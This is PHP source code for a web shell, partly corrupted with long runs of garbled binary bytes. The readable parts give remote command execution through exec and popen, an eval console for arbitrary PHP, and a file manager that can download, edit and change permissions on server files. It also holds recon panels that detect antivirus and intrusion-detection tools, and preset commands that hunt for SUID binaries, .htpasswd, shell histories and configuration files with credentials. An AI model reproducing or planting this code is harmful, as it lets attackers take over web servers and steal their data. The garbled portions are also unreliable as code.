6RvWEFRsvWBrv&V6Rsf6RvGG&7BsvV&Rsf6Rw&FFUsw&FFUsveractivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
	</body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
function ex($in) {
	$▖ = '';
	if (function_exists('exec')) {
		@exec($in,$▖);
		$▖ = @join("\n",$▖);
	} elseif (functimW7G2w77F'RrР%7F'BР77F'RF⓰РN)ib%vWE6VₓРV6VbgV7FW7G2w77FVrР%7F'BР77FV҂F⓰РN)ib%vWE6VₓРV6VbgV7FW7G2w6VWV2rРN)ib6VWV2F⓰РV6Vb5&W6rce($f = @popen($in,"r"))) {
		$▖ = "";
		while(!@feof($f))
			$▖ .= fread($f,1024);
		pclose($f);
	}else return "↳ Unable to execute command\n";
	return ($▖==''?"↳ Query did not return anything\n":$▖);
}
function viewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}
function perms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}
function viewPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
	elseif (!@is_writable($f))
		return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
	else
		return '<font color=#f9c440><b>'.perms(@fileperms($f)).'</b></font>';
}
function hardScandir($dir) {
    if(functimW7G2'66F""Т&WGW&66F"FF"ТV6RТFFVF"FF"ТvRf6RFfVR&VFF"FFТFfW5FfVSТ&WGW&FfW3ТЧЦgV7Fv6GРGFWwv6rGРbVGGFР&WGW&GFР&WGW&f6SЧЦgV7F7F$2РbE5EwuҒРF'&Р'VR"VRР'fW'6"fW'6ₒР%dU%4"dU%4Р'6fVFR"vWBw6fUFRrРРV66W&ƗRFРV6RРWf‚E5EwuғРЧЦgV7F&FGRFGbТE4UFGcТ6WF6RFGbЧЦgV7F7F6V4fР&DVFW"РV6sƃ6W'fW"6V7W&Gf&FFb6736ent>';
	function showSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "\n") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}
	showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        showSecParam('Loaded Apache modules', implode(', ', apache_get^GVW2Р6u6V5&҂tF6&VBgV7F2rDt$5vF6&UgV7F2uDt$5vF6&UgV7F2uӢv');
	showSecParam('Open base dir', @ini_get('open_basedir'));
	she6V5&҂u6fRFRWV2F"rvWBw6fUFUWV5F"rР6u6V5&҂u6fRFR6VFRF"rvWBw6fUFU6VFUF"rР6u6V5&҂v5U$7W'BrgV7FW7G2v7W&fW'6)?'enabled':'no');
	$temp=array();
	if(function_exists('7vWE6ƖVEfrРGFV$ו7"sql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_cnV7BrРGFV%7Fw&U5#РbgV7FW7G2v66V7BrРGFV$&6R#Р6u6V5&҂u7W'FVBFF&6W2rFRrrGFVРV6s'#sРbDt$5v2uv旂rТ6u6V5&҂u&VF&RWF277vBr5&VF&RrWF277vBr'W2&Vcr2r6Ɩ6vr$fW5F5""WF2"'77vE"sfWu#vrТ6u6V5&҂u&VF&RWF26Frr5&VF&RrWF26Frr'W2&Vcr2r6Ɩ6vr$fW5F5""WF2"'6Fu"sfWu#vrТ6u6V5&҂t2fW'6rfUvWE6FVG2r&2fW'6rТ6u6V5&҂tF7G"RrfUvWE6FVG2rWF277VRWBrТbDt$5w6fUde']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $▟)
                    if(which($▟))
                        $temp[] = $▟;
                showSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $▟)
                    if(which($▟))
                        $temp[] = $▟;
                showSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $▟)
                    if(which($▟))
                        $temp[] = $▟;
                showSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
				showSecParam('Mount options', @file_get_conteg2rWF2g7F"rТРV6RР6u6V5&҂t2fW'6rWwfW"rР6u6V5&҂t66VB6WGFw2r6('CP866', 'UTF-8',ex('net accoug2rР6u6V5&҂uW6W"66VG2r6('CP866', 'UTF-8',ex('net user')));
	}
	echo '</div>';
	hardFooter();
}
function actilfW5F2Рb76WBE5EwuҒРE5EwuW&FV6FRE5EwuғРbE5Ew"uvFload') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_cofV_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	hardHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		hardFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permissio7rfWuW&46"E5EwuҒr7vW"w&W7rGVEvRurrFvEvRus'#sРV6s77&VFRFS7rFFRuB2rfV7FRE5EwuҒr766W72FS7rFFRuB2rfVFRE5EwuҒr7FgFS7rFFRuB2rfVFRE5Ewi).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,frrW&V6FRE5EwuҒurrr7G'FvW"Gbur#r₇7G'FvW"GbE5Ew"uғs#rGbr#sGbssРV6s'#'#sР7vF6E5Ew"uҒР66RwfWrsРV6s&R673sРFgfVE5Ewuw"rРbFgРvRfVbFgРV6F7V66'2g&VBFg#BРf66RFgРРV6s&SsР'&VР66RvvƖvBsРb5&VF&RE5EwuҒРV6sFb6737GS&&6w&nd-color: #e1e1e1;color:black;">';
				$oRb = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<fobrsfCrF&"sFcsРР'&VР66Rv6BsРbVGE5Ew2uҒРGW&2Рf"F7G&VE5Ew2uҒFFРGW&2BE5Ew2uղFҧr7G&VE5Ew2uҒFРb6BE5EwuGW&2РV6t6wB6WBW&֗762'#67&CF7VVBb2fVS"#67&CsРР6V'7FF66RРV6s67&C5"#67&Cf&ubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',fF26Balue);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',fsrF2FWBfVR&WGW&f6S#FWF&VSFWB673&v&VsРFgfVE5Ewuw"rРbFgРvRfVbFgРV6F7V66'2g&VBFg#BРf66RFgРРV6sFWF&VƖWBGS7V&֗BfVS'7V&֗B#f&sР'&VР66RvWGVsРF2fUvWE6FVG2E5EwuғРFРF'&s'#rrrrrРFV7G&VF2Рf"FFFVFРF7&FbrS%r&BF5FҒrsР7vF6&BF5FҒР66RF%rs'&VР66RF%rs'&VР66RF%rs'&VР66R3F%rs'&VРFVfVCF%F5F break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "\n";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#1a1a1a><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr><&&SsР'&VР66Rw&VRsРbVGE5Ew2uҒРb&VRE5EwuE5Ew2uҒРV6t6wB&VR'#sРV6PРFRs67&CrVV"rW&V6FRE5Ew2i.'",f""67&CrРРV6sf&7V&֗C&rVVrrW&V6FRE5EwuҒurVF2RfVR&WGW&f6S#ƖWBGSFWBSRfVS"rF7V66'2E5EwuҒr#ƖWBGS7V&֗BfVS'7V&֗B#f&sР'&VР66RwFch':
			if( !empty($_POST['p3']) ) {
				$time = strtfRE5Ew2uғРbGFRРbFV6E5EwuGFRGFRРV6tfsРV6PРV6uFV6VBsРV6RV6t&BFRf&BsРР6V'7FF66RРV6s67&C5"#67&Cf&ubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',fF2FV6alue);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
			break;
		
		case 'frame':
			$frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
			if ($frameSrc[0] != '/')
				$frameSrc = '/' . $frameSrc;
			if ($frameSrc[strlen($frameSrc) - 1] != '/')
				$frameSrc = $frameSrc . '/';
			$frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
			echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocumeb&G67&ĆVvB#g&SsР'&VРРV6sFcsР&DfFW"ЧЦbF2wvrРFƖ6W2'&Р$Ɨ7BF&V7F'"&F""Т$fBFW7W'&VBF""&F"2r"FW"Т$fB6fr7W'&VBF""&F"2r"6fr"Т%6r7FfR6V7F2"&WG7FB"Т%6r'Vr6W'f6W2"&WB7F'B"Т%W6W"66VG2"&WBW6W""Т%6r6WFW'2"&WBfWr"Р$%F&R"&'"Р$6fwW&F"&6fr РЦV6PРFƖ6W2'&Т$Ɨ7BF""&2Ɔ"Р&Ɨ7BfRGG&'WFW2ƖW6V6BWFVFVBfR77FV"&6GG"f"Т'6 opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . 'RbW&C2"Т&fB6vBfW2"&fBGRbW&#2"Т&fB6vBfW27W'&VBF""&fBGRbW&#2"Т&fB6fr2fW2"&fBGRbR6ig.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"cnfr""Т&fBw&F&RfFW'2BfW2"&fBW&"2"Т&fBw&F&RfFW'2BfW27W'&VBF""&fBW&"2"Т&fB6W'f6RvBfW2"&fBGRbR6W'f6RvB"Т&fB6W'f6RvBfW27W'&VBF""&fBGRbR6W'f6RvB"Т&fBG77vBfW2"&fBGRbRG77vB"Т&fBG77vBfW27W'&VBF""&fBGRbRG77vB"Т&fB&67F'fW2"&fBGRbR&67F'"Т&fB&67F'fW27W'&VBF""&fBGRbR&67F'"Т&fBfWF6&2fW2"&fBGRbRfWF6&2"Т&fBfWF6&2fW27W'&VBF""&fBGRbRfWF6&2"Р$6FR"""Т&6FRGGB6bfW2"&6FRGGB6b"Р&6FRf7G26bfW2"&6FRf7G26b"Р&6FR&gGB6 files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);
function actil6ole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd&VSrs#РGFV6($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
		if(preg_match("!.*cd\s+([ҲB"E5EwuFF6Рb6F"FF6ҒРDt$5v7vBuvWF7vBРV6&5r"Dt$5v7vBu"s#РРРV6&B6btput.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "\n", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd&VR6G57W%ӰРV6PР7W"РV6RbCР7W"Рb7W"6G2VwFРF7VVB6b$.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Co6SFb6736FVCf&S6b7V&֗C&bB6b6BfVSv6V%rB6bWGWBfVSusB6b6BfVSus&WGW&f6SFBF26BfVRbF26V6VBVVF26BfVRF26uW'&'26V6VCurV6WrVVF26BfVRF26uW'&'26V6VCur&WGW&f6S#&V6VV7BSƖ3sРf&V6Dt$5vƖ6W2u2FGbРbGbrrРV6sFw&W&V"rF7V66'2Fr#Fw&WsР6FVSРРV6sFfVS"rF7V66'2Gbr#rFsFsРРV6s6VV7C&VƖWBGS'WGF6Ɩ6&FBB6bƖ2fVRbB6b6V6VBVVB6bƖ2fVRB6b6uW'&'26V6VCurV6WrVVB6bƖ2fVRB6b6uW'&'26V6VCur"fVS'7V&֗B#'#ƖWBGS6V6&SfVSrE4UCRE4U%dU%tEE5BuҒvuv6V6VBsrrs6VBW6rƖWBGS6V6&S6uW'&'2fVSrVGE5Ew"uҗE4UCRE4U%dU%tEE5BuҒw7FFW'%FWBuv6V6VBsrrs&VF&V7B7FFW'"F7FFWB#c'#'"FWF&V673&v&VSWGWB7GS&&&FW"&GFӣ&vFW"&VFǓsРbVGE5Ewi) {
		echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(eveb#FCG#F&SsРV6sf&Fc67&CB6b6Bf7W267&CsР&DfFW"ЧТ6V66VBЦb76WBEtUEv6V66VBuҒРgV7F6VD6V6‚РGFVEtUEvV6VBuӰРG7V&V7BEtUEw7V&V7E6VBuӰРF&GEtUEv&G6VB{
			mail($to_email, $subject, $body);}
	SendCheckMail();}
////////////// End Check Send Mail ////////////////////

functin7FРb76WBE5EvuҒРE4UCRE4U%dU%tEE5BuҒvuG'VSР%7F'BРWf‚E5EwuғРGFV&F7VVBvWDVVVD'BuWGWBr7GRF7rsF7VV.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
		echo strlen($temp), "\n", $temp;
		exit;
	}
	hardHeader();
	if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
		echo '<h1>PHP info</h1><div class=content>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
		$tmp = preg_replace('!body {.*}!msiU','',$tmp);
		$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
		$tmp = preg_replace('!h1!msiU','h2',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
		echo $tmp;
		echo '</div><br>';
	}
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
		echo '<h1>Executin6FSFb6736FVCf&SbWFC7B7V&֗C&bF26V6VBVVF26FRfVRV6WrVVF26FRfVRur&WGW&f6S#FWF&VS6FR673&v&VC6FSrVGE5EwuғF7V66'2E5EwuғrrsFWF&VƖWBGS7V&֗BfVSWf7GS&&vFW#sРV6rƖWBGS6V6&SfVSrE4UCRE4U%dU%tEE5BuҒvuv6V6VBsrrs6VBW6rf&&RCWGWB7GS"rVGE5Ewi?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1&РV6F7V66'2%vWE6VₒРРV6s&SFcsР&DfFW"ЧЦgV7F7FfW4ₒТbVGE4UvbuҒТE4UvbuV6W&ƗRE4UvbuғРbVGE5EwuҒР7vF6E5Ewi {
			case 'uploadFile':
				if ( is_array($_FILES['f']['tmp_name']) ) {
					foreach ( $_FILES['f']['tmp^Ru2FGFRТbfUWFVEfRGFREdU5vbuղvRuղFҒТV6$6wBWBfR#РРРР'&VР66RvֶF"sРbֶF"E5Ew"uҒРV6$6wB7&VFRWrF"#Р'&VР66RvFVWFRsРgV7FFVWFTF"GFРGF7V'7G"GFrrGFGFrsРFFVF"GFРvRN)i&VFF"FFf6RРN)iGFN)iРb&6VRN)i""&6VRN)i""Р6FVSРGGRfWGRN)iРbGGR&F""РFVWFTF"N)iРV6PРVƖ沂N)iРР66VF"FFР&F"GFРРb5'&E5EvbuҒРf&V6E5Evbu2FbТbFbrrТ6FVSРFbW&FV6FRFbРb5F"FbРFVWFTF"FbРV6PРVƖ沂FbРР'&VР66Rw7FRsРbE4Uv7Buv6rРgV7F67FRF2G2FBРb5F"F2G2РֶF"FBG2РFVF"F2G2РvRFb&VFF"Ff6RРbFb""BFb""Р67FRF2G2rrFbFBG2rrРV6Vb5fRF2G2Р6F2G2FBG2РРf&V6E4Uvbu2FbР67FRE4Uv2uFbDt$5v7vBuғРV6VbE4Uv7BuvfRrРgV7FfU7FRF2G2FBРb5F"F2G2РֶF"FBG2РFVF"F2G2РvRFb&VFF"Ff6RРbFb""BFb""Р67FRF2G2rrFbFBG2rrРV6Vb5fRF2G2Р6F2G2FBG2РРf&V6E4Uvbu2FbР&VRE4Uv2uFbDt$5v7vBuFbРV6VbE4Uv7BuwrРb675W7G2u&6fRrТGWr&6fRТbGVE5Ew"uТ6F"E4Uv2uғТf&V6E4Uvbu2FbТbFbrrТ6FVSТb5fRE4Uv2n$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'ufrРb675W7G2u&6fRrТGWr&6fRТf&V6E4Uvbu2FbТbGVE4Uv2uFbТGWG&7EFDt$5v7vBuғТG66RТТТРV6VbE4Uv7BuwF"rТ6F"E4Uv2uғТE4Uvbu'&vW66W6V&rrE4UvbuғТWwF"6gbrW66W6V&rE5Ew"uҒrrFRrrE4UvbuҒТ6F"Dt$5v7vBuғРРV6WBE4UvbuғТ6WF6RvbrrrFR3cР'&VРFVfVCТbVGE5Ewi) {
					prototype('act', $_POST['p1']);
					prototype('f', serialize(@$_POST['f']));
					prfGRv2rE5Ev2uғРР'&VРРТ&DVFW"РV6sƃfRvW#Fb6736ec67&C%5"#67&CsРFF$6FVB&E66F"76WBE5Ev2uғE5Ev2uӢDt$5v7vBuғРbFF$6ebf6RV6t6wBVF2fFW"s&DfFW"&WGW&Рv&G6'CРG6'B'&vRrРbVGE5EwuҒРb&Vutch('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class=&r6V76ssr6VFFss"sУf&SfW2WFC7CG#FvGFs7sƖWBGS6V6&6Ɩ6w6r6736'FF&Vcr2r6Ɩ6vr$fW4"V'5me_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirCoFVEFҒРFw"6vWFw&vBfVw&p($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd&FF$6FVEFҒРwW&2rfWuW&46"Dt$5v7vBuFF$6FVEFҒРw6RrfW6RDt$5v7vBuFF$6FVEFҒРvvW"rFuvRuFuvRuӤfVvW"FF$6FVEFҒРvw&WrFw%vRuFw%vRuӤfVw&p($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirCofVEFҒРFF'5'&W&vRGF'&wGRrvƖrvƖr&VFƖ沂GFwFuҒРV6Vb5F"Dt$5v7vBuFF$6FVEFҒbbFF$6FV[$i] != ))
			$dirs[] = array^W&vRGF'&wGRrvF"rРРDt$5w6'BuG6'CРgV7Fcmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size&Dt$5w6'BuճРРW6'BFfW2&6"РW6'BFF'2&6"РFfW2'&W&vRFF'2FfW2РFРf&V6FfW22FbРV6sG"rFr673srrsFCƖWBGS6V6&S&e"fVS"rW&V6FRFevRuҒr"6736'FCFC&Vc26Ɩ6"r₂FewGRuvfRrvrtfW5F5rVrrW&V6FRFevRuҒurwfWur#rF7V66'2FevRuғvrtfW4rrrFewFuur"rVGFevƖuҒrr'FFSwFevƖur"s#rF7V66'2FevRuҒr#rsFCFCr₂FewGRuvfRrfWu6RFew6RuғFewGRuҒsFCFCrFevFgusFCFCrFevvW"urrFevw&WusFCFC&Vc26Ɩ6&rtfW5F5rVrrW&V6FRFevRuҒurv6Er#rFewW&2uРsFCFC673'FF"FFFF%&VR"&Vc"2"6Ɩ6&rtfW5F5rVrrW&V6FRFevRuҒurw&VUr##673'FF"FFFF%FV6"&Vc"2"6Ɩ6&rtfW5F5rVrrW&V6FRFevRuҒurwFV6r#Cr₂FewGRuvfRrr673'FF"FFFF$g&R"&Vc"2"6Ɩ6&rtfW5F5rVrrW&V6FRFevRuҒurvg&Ur#c673'FF"FFFF$VFB"&Vc"2"6Ɩ6&rtfW5F5rVrrW&V6FRFevRuҒurvVFEr#S673'FF"FFFF$Fnload" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name&urvFvEr#Csrrsd></tr>';
		$l = $l?0:1;
	}
	echo "<tr id=fak><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<label><select name='p1'>";
	if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>↳ Paste</option>";
	echo "<option value='copy'>Copy</option><option value=&fRsfSFFfVSvFVWFRsFVWFSF#Тb675W7G2u&6fRrТV6#FfVSwsFFfVSwV禗sF#ТV6#FfVSwF"sF"wF#ТV6#6VV7C&V#ТbVGE4Uv7BuҒbb6VBE4UvbuҒbbE4Uv7B`== 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") .  . ($_COOKIE['act&wswswF"wr"sf'7#ТV6#ƖWBGSw7V&֗BrfVSw7V&֗Br7GSv&vVgCsd></tr></form></table></div>";
	hardFooter();
}
function actionStringTools() {
	if(!function_exists('hex2bin')) {functinW&&G&WGW&FV6&ↆWFV2GТbgV7FW7G2v&WrgV7F&WG&WGW&FV6W&FV2GРbgV7FW7G2vW&66rgV7FW&66GG#rsf"FF7G$VGF"G"6"WFV2GFGFҒ&WGW&G#РbgV7FW7G2v66&WrgV7Fascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
